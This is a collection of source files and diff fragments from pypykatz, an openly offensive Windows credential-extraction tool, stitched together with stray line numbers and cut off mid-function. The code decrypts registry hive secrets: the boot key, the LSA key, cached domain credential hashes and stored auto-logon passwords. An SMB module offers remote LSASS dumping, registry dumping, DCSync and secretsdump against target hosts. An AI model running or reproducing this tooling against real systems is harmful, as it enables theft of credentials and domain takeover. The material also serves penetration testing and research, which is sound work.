44 #
5 import json
56
67 class SAMSecret:
78 def __init__(self, username, rid, nt_hash, lm_hash):
195195 self.homedir = None
196196 self.homedir_connect = None
197197 self.script_path = None
198 self.profile_path = None
199198 self.profile_path = None
200199 self.workstations = None
201200 self.hoursallowed = None
374373 t += ' %s: %s: %s' % (k, i, str(item))
375374 else:
376375 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
377 return t
376 return t
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import hashlib
6 import hmac
7 from pypykatz.registry.sam.structures import *
8 from pypykatz.crypto.RC4 import RC4
9 from pypykatz.crypto.aes import AESModeOfOperationCBC,AESModeOfOperationECB, Decrypter
10 from pypykatz.crypto.des import *
11
12
13 #####
14 from pypykatz.registry.security.structures import *
15 from pypykatz.registry.security.common import *
16 from pypykatz.registry import logger
17 from pypykatz.commons.common import hexdump
18
19 #
20 # The SECURITY hive holds all the domain-cached-credentials for the domain users who logged in to the machine
21 # It also holds the machine account's password in an encrypted form
22 #
23 # The LSA secrets also stored here, but their format is not always documented,
24 # as this functionality can be used by any service that wants to stroe some secret information
25
26 class SECURITY:
27 def __init__(self, security_hive, bootkey):
28 self.hive = security_hive
29 self.bootkey = bootkey
30
31 self.dcc_iteration_count = 10240
32 self.lsa_secret_key_vista_type = True
33
34 self.lsa_key = None
35 self.NKLM_key = None
36
37 self.dcc_hashes = []
38 self.cached_secrets = []
39
40 @staticmethod
41 def sha256_multi(key, value, rounds = 1000):
42 ctx = hashlib.sha256(key)
43 for _ in range(rounds):
44 ctx.update(value)
45 return ctx.digest()
46
47 def decrypt_lsa_key(self, data):
48 logger.debug('[SECURITY] Decrypting LSA key...')
49 if self.lsa_secret_key_vista_type is True:
50 record = LSA_SECRET.from_bytes(data)
51 key = SECURITY.sha256_multi(self.bootkey, record.data[:32])
52 secret_dec = b''
53 cipher = AESModeOfOperationECB(key)
54 n = 16
55 for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround
56 if len(block) < n:
57 block += b'\x00' * (n - len(block))
58 secret_dec += cipher.decrypt(block)
59 record = LSA_SECRET_BLOB.from_bytes(secret_dec)
60 self.lsa_key = record.secret[52:][:32]
61
62 else:
63 ctx = hashlib.md5(self.bootkey)
64 for i in range(1000):
65 ctx.update(data[60:76])
66
67 cipher = RC4(ctx.digest())
68 record = cipher.decrypt(data[12:60])
69 self.lsa_key = record[0x10:0x20]
70
71 logger.debug('[SECURITY] LSA key value: %s' % self.lsa_key.hex())
72 return self.lsa_key
73
74
75 async def get_lsa_key(self):
76 logger.debug('[SECURITY] Fetching LSA key...')
77 value = await self.hive.get_value('Policy\\PolEKList\\default', False)
78 if value is None:
79 value = await self.hive.get_value('Policy\\PolSecretEncryptionKey\\default', False)
80 if not value:
81 logger.debug('[SECURITY] LSA key not found!')
82 return None
83
84 self.lsa_secret_key_vista_type = False
85 logger.debug('[SECURITY] LSA secrets default to VISTA type')
86
87 return self.decrypt_lsa_key(value[1])
88
89
90 def decrypt_secret(self, key, value):
91 dec_blob = b''
92 enc_size = int.from_bytes(value[:4], 'little', signed = False)
93 value = value[len(value) - enc_size:]
94 t_key = key
95 for _ in range(0, len(value), 8):
96 enc_blob = value[:8]
97 des_key = expand_DES_key(t_key[:7])
98 ctx = des(des_key)
99 dec_blob += ctx.decrypt(enc_blob)
100 t_key = t_key[7:]
101 value = value[8:]
102 if len(t_key) < 7:
103 t_key = key[len(t_key) : ]
104
105 secret = LSA_SECRET_XP.from_bytes(dec_blob)
106 return secret.secret
107
108 async def get_NKLM_key(self):
109 logger.debug('[SECURITY] Fetching NK$LM key...')
110 if self.lsa_key is None:
111 await self.get_lsa_key()
112
113 value = await self.hive.get_value('Policy\\Secrets\\NL$KM\\CurrVal\\default')
114 if value is None:
115 logger.error('[SECURITY] Could not find NL$KM in registry')
116 raise Exception('Could not find NL$KM in registry :(')
117
118 if self.lsa_secret_key_vista_type is True:
119 self.NKLM_key = b''
120 record = LSA_SECRET.from_bytes(value[1])
121 key = SECURITY.sha256_multi(self.lsa_key, record.data[:32])
122 cipher = AESModeOfOperationECB(key)
123 n = 16
124 for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround
125 if len(block) < n:
126 block += b'\x00' * (16 - len(block))
127 self.NKLM_key += cipher.decrypt(block)
128
129 else:
130 self.NKLM_key = self.decrypt_secret(self.lsa_key, value[1])
131
132 logger.debug('[SECURITY] NL$KM key: %s' % self.NKLM_key.hex())
133 return self.NKLM_key
134
135 def __pad(self, data):
136 if (data & 0x3) > 0:
137 return data + (data & 0x3)
138 else:
139 return data
140
141 async def dump_dcc(self):
142 logger.debug('[SECURITY] dump_dcc invoked')
143 cache_reg = await self.hive.find_key('Cache', False)
144 if cache_reg is None:
145 logger.debug('[SECURITY] No DCC secrets found')
146 return
147 values = await self.hive.list_values(cache_reg)
148
149 if values == []:
150 logger.debug('[SECURITY] No DCC secrets found')
151 return
152
153 if b'NL$Control' in values:
154 values.remove(b'NL$Control')
155
156 if b'NL$IterationCount' in values:
157 logger.debug('[SECURITY] DCC Setting iteration count')
158 values.remove(b'NL$IterationCount')
159 record = await self.hive.get_value('Cache\\NL$IterationCount')
160 record = record[1]
161 if record > 10240:
162 self.dcc_iteration_count = record & 0xfffffc00
163 else:
164 self.dcc_iteration_count = record * 1024
165
166
167 await self.get_lsa_key()
168 await self.get_NKLM_key()
169
170 for value in values:
171 logger.debug('[SECURITY] DCC Checking value: %s' % value)
172 record_data = await self.hive.get_value('Cache\\%s' % value.decode())
173 record_data = record_data[1]
174 record = NL_RECORD.from_bytes(record_data)
175
176 if record.IV != b'\x00'*16:
177 if record.Flags & 1 == 1:
178 # Encrypted
179 if self.lsa_secret_key_vista_type is True:
180 plaintext = b''
181 cipher = AESModeOfOperationCBC(self.NKLM_key[16:32], iv = record.IV)
182 n = 16
183 for block in [record.EncryptedData[i:i+n] for i in range(0, len(record.EncryptedData), n)]: #terrible, terrible workaround
184 if len(block) < 16:
185 block += b'\x00' * (16 - len(block))
186 plaintext += cipher.decrypt(block)
187
188 else:
189 key = hmac.new(self.NKLM_key,record.IV).digest()
190 cipher = RC4(key)
191 plaintext = cipher.decrypt(record.EncryptedData)
192
193 else:
194 # Plain! Until we figure out what this is, we skip it
195 #plainText = record['EncryptedData']
196 logger.debug('[SECURITY] DCC Skipping value %s, unknown formet' % value)
197 continue
198
199
200 dcc_hash = plaintext[:0x10]
201 blob = io.BytesIO(plaintext[0x48:])
202 username = blob.read(record.UserLength).decode('utf-16-le')
203 blob.seek(self.__pad(record.UserLength) + self.__pad(record.DomainNameLength))
204 domain = blob.read(record.DnsDomainNameLength).decode('utf-16-le')
205
206 version = 2 if self.lsa_secret_key_vista_type is True else 1
207 secret = LSADCCSecret(version, domain, username, dcc_hash, iteration = self.dcc_iteration_count)
208 self.dcc_hashes.append(secret)
209
210 return self.dcc_hashes
211
212 async def get_secrets(self):
213 logger.debug('[SECURITY] get_secrets')
214 await self.get_lsa_key()
215
216 await self.dump_dcc()
217
218 # Let's first see if there are cached entries
219 keys = await self.hive.enum_key('Policy\\Secrets')
220 if keys is None:
221 logger.debug('[SECURITY] No cached secrets found in hive')
222 return
223
224 if b'NL$Control' in keys:
225 keys.remove(b'NL$Control')
226
227 for key_name in keys:
228 for vl in ['CurrVal', 'OldVal']:
229 key_path = 'Policy\\Secrets\\{}\\{}\\default'.format(key_name,vl)
230 logger.debug('[SECURITY] Parsing secrets in %s' % key_path)
231 v = await self.hive.get_value(key_path, False)
232 if v and v[1] != 0:
233 logger.log(1, '[SECURITY] Key %s Value %s' % (key_path, v[1]))
234 if self.lsa_secret_key_vista_type is True:
235 record = LSA_SECRET.from_bytes(v[1])
236 key = SECURITY.sha256_multi(self.lsa_key, record.data[:32])
237 secret_dec = b''
238 cipher = AESModeOfOperationECB(key)
239 n = 16
240 for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround
241 if len(block) < n:
242 block += b'\x00' * (n - len(block))
243 secret_dec += cipher.decrypt(block)
244 record = LSA_SECRET_BLOB.from_bytes(secret_dec)
245 dec_blob = record.secret
246
247 else:
248 dec_blob = self.decrypt_secret(self.lsa_key, v[1])
249
250 secret = LSASecret.process(key_name, dec_blob, vl == 'OldVal')
251 if secret is not None:
252 self.cached_secrets.append(secret)
253
254 else:
255 logger.debug('[SECURITY] Could not open %s, skipping!' % key_path)
256
257 def to_dict(self):
258 t = {}
259 t['dcc_iteration_count'] = self.dcc_iteration_count
260 t['secrets_format'] = 'VISTA' if self.lsa_secret_key_vista_type else 'OLD'
261 t['lsa_key'] = self.lsa_key
262 t['NK$LM'] = None
263 if self.NKLM_key is not None:
264 t['NK$LM'] = self.NKLM_key
265 t['dcc'] = []
266 for secret in self.dcc_hashes:
267 t['dcc'].append(secret.to_dict())
268 t['cached_secrets'] = []
269 for secret in self.cached_secrets:
270 t['cached_secrets'].append(secret.to_dict())
271 return t
272
273 def __str__(self):
274 t = '============== SECURITY hive secrets ==============\r\n'
275 t += 'Iteration count: %s\r\n' % self.dcc_iteration_count
276 t += 'Secrets structure format : %s\r\n' % 'VISTA' if self.lsa_secret_key_vista_type else 'OLD'
277 t += 'LSA Key: %s\r\n' % self.lsa_key.hex()
278 if self.NKLM_key is not None:
279 t += 'NK$LM Key: %s\r\n' % self.NKLM_key.hex()
280 for secret in self.dcc_hashes:
281 t += '%s\r\n' % secret.to_lopth()
282 for secret in self.cached_secrets:
283 t += '%s\r\n' % str(secret)
284 return t
22 # Author:
33 # Tamas Jos (@skelsec)
44 #
5 import hashlib
5
6 from pypykatz.crypto.MD4 import MD4
67 from pypykatz.dpapi.structures.system import DPAPI_SYSTEM
78 from pypykatz.commons.common import hexdump
89
155156
156157 def process_secret(self):
157158 #only the NT hash is calculated here
158 ctx = hashlib.new('md4')
159 ctx.update(self.raw_secret)
159 ctx = MD4(self.raw_secret)#hashlib.new('md4')
160 #ctx.update(self.raw_secret)
160161 self.secret = ctx.digest()
161162
162163 #thx dirkjan
4040 @staticmethod
4141 def sha256_multi(key, value, rounds = 1000):
4242 ctx = hashlib.sha256(key)
43 for i in range(rounds):
43 for _ in range(rounds):
4444 ctx.update(value)
4545 return ctx.digest()
4646
108108 def get_NKLM_key(self):
109109 logger.debug('[SECURITY] Fetching NK$LM key...')
110110 if self.lsa_key is None:
111 self.get_lsa_secret_key()
111 self.get_lsa_key()
112112
113113 value = self.hive.get_value('Policy\\Secrets\\NL$KM\\CurrVal\\default')
114114 if value is None:
156156 if b'NL$IterationCount' in values:
157157 logger.debug('[SECURITY] DCC Setting iteration count')
158158 values.remove(b'NL$IterationCount')
159 record = self.getValue('Cache\\NL$IterationCount')[1]
159 record = self.hive.get_value('Cache\\NL$IterationCount')[1]
160160 if record > 10240:
161161 self.dcc_iteration_count = record & 0xfffffc00
162162 else:
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 #####
7 from pypykatz.registry import logger
8
9
10 class SOFTWARE:
11 def __init__(self, sam_hive, bootkey):
12 self.hive = sam_hive
13 self.bootkey = bootkey
14 self.default_logon_user = None
15 self.default_logon_domain = None
16 self.default_logon_password = None
17
18 async def get_default_logon(self):
19 if self.default_logon_user is None:
20 try:
21 data = await self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName')
22 data = data[1]
23 except:
24 pass
25 else:
26 if isinstance(data, bytes):
27 self.default_logon_user = data.decode('utf-16-le').split('\x00')[0]
28 else:
29 self.default_logon_user = data
30
31 if self.default_logon_domain is None:
32 try:
33 data = await self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultDomainName')
34 data = data[1]
35 except:
36 pass
37 else:
38 if isinstance(data, bytes):
39 self.default_logon_domain = data.decode('utf-16-le')
40 else:
41 self.default_logon_domain = data
42
43 if self.default_logon_password is None:
44 try:
45 data = await self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword')
46 data = data[1]
47 except:
48 pass
49 else:
50 if isinstance(data, bytes):
51 self.default_logon_password = data.decode('utf-16-le')
52 else:
53 self.default_logon_password = data
54
55 return self.default_logon_user
56
57 def to_dict(self):
58 t = {}
59 t['default_logon_user'] = self.default_logon_user
60 t['default_logon_domain'] = self.default_logon_domain
61 t['default_logon_password'] = self.default_logon_password
62 return t
63
64 def __str__(self):
65 t = '============== SOFTWARE hive secrets ==============\r\n'
66 t += 'default_logon_user: %s\r\n' % self.default_logon_user
67 return t
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 from pypykatz.registry import logger
6 from pypykatz.commons.common import hexdump
7
8 #
9 # The SYSTEM hive holds the BootKey, which is used as an initial key to decrypt everything in the registry.
10 # Without having the BootKey no decryption can be performed on any of the secrets,
11 # therefore it is mandatory to supply this hive.
12 #
13 # The way to obtain the BootKey is quite straightforward.
14 # First, we need to determine the current controlset (when the machine is running you find that available directly, but not when the hive was taken from a powered down machine)
15 # Second, the BootKey is obfuscated and scattered in the Class attribute of 4 different registry keys.
16 # we read the Class attribute of these keys and de-obfuscate the key
17 #
18
19 class SYSTEM:
20 def __init__(self, system_hive):
21 self.hive = system_hive
22 self.currentcontrol = None
23 self.bootkey = None
24
25 async def get_currentcontrol(self):
26 logger.debug('[SYSTEM] determining current control set')
27 if self.currentcontrol is not None:
28 return self.currentcontrol
29
30 ccs = await self.hive.get_value('Select\\Current')
31 ccs = ccs[1]
32 self.currentcontrol = "ControlSet%03d" % ccs
33 logger.debug('[SYSTEM] current control set name: %s' % self.currentcontrol)
34 return self.currentcontrol
35
36 async def get_bootkey(self):
37 logger.debug('[SYSTEM] get_bootkey invoked')
38 if self.bootkey is not None:
39 return self.bootkey
40 if self.currentcontrol is None:
41 await self.get_currentcontrol()
42
43 transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
44 bootkey_obf = ''
45 for key in ['JD', 'Skew1', 'GBG', 'Data']:
46 bootkey_obf += await self.hive.get_class('%s\\Control\\Lsa\\%s' % (self.currentcontrol, key))
47
48 bootkey_obf = bytes.fromhex(bootkey_obf)
49 self.bootkey = b''
50 for i in range(len(bootkey_obf)):
51 self.bootkey += bootkey_obf[transforms[i]:transforms[i] + 1]
52
53 logger.debug('[SYSTEM] bootkey: %s' % self.bootkey.hex())
54 return self.bootkey
55
56 async def get_secrets(self):
57 await self.get_currentcontrol()
58 await self.get_bootkey()
59
60 def to_dict(self):
61 t = {}
62 t['CurrentControlSet'] = self.currentcontrol
63 t['BootKey'] = self.bootkey
64 return t
65
66 def __str__(self):
67 t = '============== SYSTEM hive secrets ==============\r\n'
68 t += 'CurrentControlSet: %s\r\n' % self.currentcontrol
69 t += 'Boot Key: %s\r\n' % self.bootkey.hex()
70 return t
(New empty file)
0
1
2 #!/usr/bin/env python3
3 #
4 # Author:
5 # Tamas Jos (@skelsec)
6 #
7
8 import os
9 import json
10 import ntpath
11 import platform
12 import argparse
13 import base64
14 import traceback
15
16 from pypykatz import logging
17 from pypykatz.commons.common import UniversalEncoder
18 from pypykatz.alsadecryptor.packages.msv.decryptor import LogonSession
19 import asyncio
20
21 """
22 This is a wrapper for aiosmb
23 """
24
25 class SMBCMDArgs:
26 def __init__(self):
27 self.smb_url = None
28 self.verbose = 0
29 self.silent = True
30 self.smb_url = None
31 self.no_interactive = False
32 self.commands = ['login', 'i']
33
34 smb_live_epilog = 'FOR AVAILABLE SUBCOMMANDS TYPE "... smb help" insted of "-h" '
35 class SMBCMDHelper:
36 def __init__(self):
37 self.live_keywords = ['smb']
38 self.keywords = ['smb']
39
40 def add_args(self, parser, live_parser):
41 smb_group = parser.add_parser('smb', help='SMB related commands')
42 smb_subparsers = smb_group.add_subparsers()
43 smb_subparsers.required = True
44 smb_subparsers.dest = 'smb_module'
45
46 smb_console_group = smb_subparsers.add_parser('console', help='SMB client. Use "help" instead of "-h" to get the available subcommands')
47 smb_console_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
48 smb_console_group.add_argument('url', help="SMB connection string")
49 smb_console_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
50
51 smb_lsassfile_group = smb_subparsers.add_parser('lsassfile', help='Parse a remote LSASS dump file.')
52 smb_lsassfile_group.add_argument('url', help="SMB connection string with file in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/C$/Users/victim/Desktop/lsass.DMP'")
53 smb_lsassfile_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
54 smb_lsassfile_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
55 smb_lsassfile_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
56 smb_lsassfile_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
57 smb_lsassfile_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival')
58 smb_lsassfile_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse')
59
60
61 smb_lsassdump_group = smb_subparsers.add_parser('lsassdump', help='Yes.')
62 smb_lsassdump_group.add_argument('url', help="SMB connection string Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]'")
63 smb_lsassdump_group.add_argument('-m','--method', choices=['taskexec'] , default = 'taskexec', help = 'Print credentials in JSON format')
64 smb_lsassdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
65 smb_lsassdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
66 smb_lsassdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
67 smb_lsassdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
68 smb_lsassdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival')
69 smb_lsassdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse')
70
71
72
73 smb_regfile_group = smb_subparsers.add_parser('regfile', help='Parse a remote registry hive dumps')
74 smb_regfile_group.add_argument('url', help="SMB connection string with folder in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/C$/Users/victim/Desktop/'")
75 smb_regfile_group.add_argument('system', help='path to the SYSTEM registry hive')
76 smb_regfile_group.add_argument('--sam', help='path to the SAM registry hive')
77 smb_regfile_group.add_argument('--security', help='path to the SECURITY registry hive')
78 smb_regfile_group.add_argument('--software', help='path to the SOFTWARE registry hive')
79 smb_regfile_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
80 smb_regfile_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
81
82 smb_regsec_group = smb_subparsers.add_parser('regdump', help='Regsecrets')
83 smb_regsec_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]'")
84 smb_regsec_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
85 smb_regsec_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
86
87 smb_dcsync_group = smb_subparsers.add_parser('dcsync', help='DcSync')
88 smb_dcsync_group.add_argument('url', help="SMB connection string with folder in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'")
89 smb_dcsync_group.add_argument('-u', '--username', help='taget username')
90 smb_dcsync_group.add_argument('-o', '--outfile', help = 'Save results to file')
91
92 smb_secretsdump_group = smb_subparsers.add_parser('secretsdump', help='secretsdump')
93 smb_secretsdump_group.add_argument('url', help="SMB connection string with folder in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'")
94 smb_secretsdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
95 smb_secretsdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
96 smb_secretsdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
97 smb_secretsdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
98 smb_secretsdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival')
99 smb_secretsdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse')
100
101
102
103 smb_shareenum_parser = smb_subparsers.add_parser('shareenum', help = 'SMB share enumerator')
104 smb_shareenum_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
105 smb_shareenum_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
106 smb_shareenum_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
107 smb_shareenum_parser.add_argument('--depth', type=int, default =3, help="Maximum level of folders to enum")
108 smb_shareenum_parser.add_argument('--maxitems', type=int, default = None, help="Maximum number of items per forlder to enumerate")
109 smb_shareenum_parser.add_argument('--dirsd', action='store_true', help="Fetch Security Descriptors for folders")
110 smb_shareenum_parser.add_argument('--filesd', action='store_true', help="Fetch Security Descriptors for files")
111 smb_shareenum_parser.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host")
112 smb_shareenum_parser.add_argument('-l', '--ldap', help="Use LDAP to get a list of machines to enumerate. This will return dns names so be carefule to have a correct DNS server config!")
113 smb_shareenum_parser.add_argument('--progress', action='store_true', help="Progress bar. Please use it with output-file set!")
114 smb_shareenum_parser.add_argument('-o','--out-file', help="Output file")
115 smb_shareenum_parser.add_argument('--json', action='store_true', help="Output format is JSON")
116 smb_shareenum_parser.add_argument('--tsv', action='store_true', help="Output format is TSV")
117 smb_shareenum_parser.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets. Can be omitted if LDAP is used")
118 smb_shareenum_parser.add_argument('--max-runtime', type=int, default = None, help="Maximum runtime per host (in seconds)")
119 smb_shareenum_parser.add_argument('--es', '--exclude-share', nargs='*', help = 'Exclude shares with name specified')
120 smb_shareenum_parser.add_argument('--ed', '--exclude-dir', nargs='*', help = 'Exclude directories with name specified')
121 smb_shareenum_parser.add_argument('--et', '--exclude-target', nargs='*', help = 'Exclude hosts from enumeration')
122 smb_shareenum_parser.add_argument('smb_url', help = 'SMB connection string. Credentials specified here will be used to perform the enumeration')
123
124
125
126
127 live_subcommand_parser = argparse.ArgumentParser(add_help=False)
128 live_smb_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE DPAPI commands work under the current user context. Except: keys, wifi, chrome')
129 live_smb_subparsers.required = True
130 live_smb_subparsers.dest = 'livesmbcommand'
131
132 live_console_parser = live_smb_subparsers.add_parser('console', help = 'SMB (live) client. Use "help" instead of "-h" to get the available subcommands')
133 live_console_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login')
134 live_console_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
135 live_console_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
136 live_console_parser.add_argument('host', help='Target host to connect to')
137 live_console_parser.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
138
139
140 live_shareenum_parser = live_smb_subparsers.add_parser('shareenum', help = 'SMB (live) share enumerator. THE DEFAULT SETTINGS ARE OPTIMIZED TO WORK ON DOMAIN-JOINED MACHINES. This will start enumeration using the current user credentials.')
141 live_shareenum_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
142 live_shareenum_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
143 live_shareenum_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
144 live_shareenum_parser.add_argument('--depth', type=int, default =3, help="Maximum level of folders to enum")
145 live_shareenum_parser.add_argument('--maxitems', type=int, default = None, help="Maximum number of items per forlder to enumerate")
146 live_shareenum_parser.add_argument('--dirsd', action='store_true', help="Fetch Security Descriptors for folders")
147 live_shareenum_parser.add_argument('--filesd', action='store_true', help="Fetch Security Descriptors for files")
148 live_shareenum_parser.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host")
149 live_shareenum_parser.add_argument('--skip-ldap', action='store_true', help="Skip fetching target hosts via LDAP")
150 live_shareenum_parser.add_argument('--progress', action='store_true', help="Progress bar. Please use it with output-file set!")
151 live_shareenum_parser.add_argument('-o','--out-file', help="Output file")
152 live_shareenum_parser.add_argument('--json', action='store_true', help="Output format is JSON")
153 live_shareenum_parser.add_argument('--tsv', action='store_true', help="Output format is TSV")
154 live_shareenum_parser.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets. Can be omitted if LDAP is used")
155 live_shareenum_parser.add_argument('--max-runtime', type=int, default = None, help="Maximum runtime per host (in seconds)")
156 live_shareenum_parser.add_argument('--es', '--exclude-share', nargs='*', help = 'Exclude shares with name specified')
157 live_shareenum_parser.add_argument('--ed', '--exclude-dir', nargs='*', help = 'Exclude directories with name specified')
158 live_shareenum_parser.add_argument('--et', '--exclude-target', nargs='*', help = 'Exclude hosts from enumeration')
159
160
161 live_group = live_parser.add_parser('smb', help='SMB (live) commands', epilog=smb_live_epilog, parents=[live_subcommand_parser])
162
163
164 def execute(self, args):
165 if args.command in self.keywords:
166 asyncio.run(self.run(args))
167
168 if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords:
169 asyncio.run(self.run_live(args))
170
171
172 async def run_live(self, args):
173 if platform.system().lower() != 'windows':
174 raise Exception('Live commands only work on Windows!')
175
176 from aiosmb import logger as smblog
177
178 if args.verbose == 0:
179 smblog.setLevel(100)
180 elif args.verbose == 1:
181 smblog.setLevel(level=logging.INFO)
182 else:
183 level = 5 - args.verbose
184 smblog.setLevel(level=level)
185
186 if args.livesmbcommand == 'console':
187 from aiosmb.examples.smbclient import amain
188 from winacl.functions.highlevel import get_logon_info
189 info = get_logon_info()
190 la = SMBCMDArgs()
191 la.smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % (args.protocol_version, args.authmethod, info['domain'], info['username'], args.host)
192 la.verbose = args.verbose
193
194 if args.commands is not None and len(args.commands) > 0:
195 la.commands = []
196 if args.commands[0] == 'help':
197 la.commands = ['help']
198 else:
199 if args.commands[0] != 'login':
200 la.commands.append('login')
201
202 for command in args.commands:
203 la.commands.append(command)
204
205 await amain(la)
206
207 elif args.livesmbcommand == 'shareenum':
208 from pypykatz.smb.shareenum import shareenum
209
210 output_type = 'str'
211 if args.json is True:
212 output_type = 'json'
213 if args.tsv is True:
214 output_type = 'tsv'
215
216 exclude_share = []
217 if args.es is not None:
218 exclude_share = args.es
219
220 exclude_dir = []
221 if args.ed is not None:
222 exclude_dir = args.ed
223
224 ldap_url = 'auto'
225 if args.skip_ldap is True:
226 ldap_url = None
227
228 exclude_target = []
229 if args.et is not None:
230 exclude_target = args.et
231
232 await shareenum(
233 smb_url = 'auto',
234 targets = args.target,
235 smb_worker_count = args.worker_count,
236 depth = args.depth,
237 out_file = args.out_file,
238 progress = args.progress,
239 max_items = args.maxitems,
240 dirsd = args.dirsd,
241 filesd = args.filesd,
242 authmethod = args.authmethod,
243 protocol_version = args.protocol_version,
244 output_type = output_type,
245 max_runtime = args.max_runtime,
246 exclude_share = exclude_share,
247 exclude_dir = exclude_dir,
248 ldap_url = ldap_url,
249 exclude_target = exclude_target,
250 )
251
252
253 async def run(self, args):
254
255 from aiosmb import logger as smblog
256
257 if args.verbose == 0:
258 smblog.setLevel(100)
259 elif args.verbose == 1:
260 smblog.setLevel(level=logging.INFO)
261 else:
262 level = 5 - args.verbose
263 smblog.setLevel(level=level)
264
265 if args.smb_module == 'lsassfile':
266 from pypykatz.smb.lsassutils import lsassfile
267 mimi = await lsassfile(args.url, chunksize=args.chunksize, packages=args.packages)
268 self.process_results({'smbfile':mimi}, [], args)
269
270 elif args.smb_module == 'lsassdump':
271 from pypykatz.smb.lsassutils import lsassdump
272 mimi = await lsassdump(args.url, chunksize=args.chunksize, packages=args.packages)
273 self.process_results({'smbfile':mimi}, [], args)
274
275 elif args.smb_module == 'secretsdump':
276 from pypykatz.smb.lsassutils import lsassdump
277 from pypykatz.smb.regutils import regdump
278 from pypykatz.smb.dcsync import dcsync
279
280 try:
281 mimi = await lsassdump(args.url, chunksize=args.chunksize, packages=args.packages)
282 if mimi is not None:
283 self.process_results({'smbfile':mimi}, [], args, file_prefix='_lsass.txt')
284 except Exception as e:
285 logging.exception('[SECRETSDUMP] Failed to get LSASS secrets')
286
287 try:
288 po = await regdump(args.url)
289 if po is not None:
290 if args.outfile:
291 po.to_file(args.outfile+'_registry.txt', args.json)
292 else:
293 if args.json:
294 print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True))
295 else:
296 print(str(po))
297 except Exception as e:
298 logging.exception('[SECRETSDUMP] Failed to get registry secrets')
299
300
301 try:
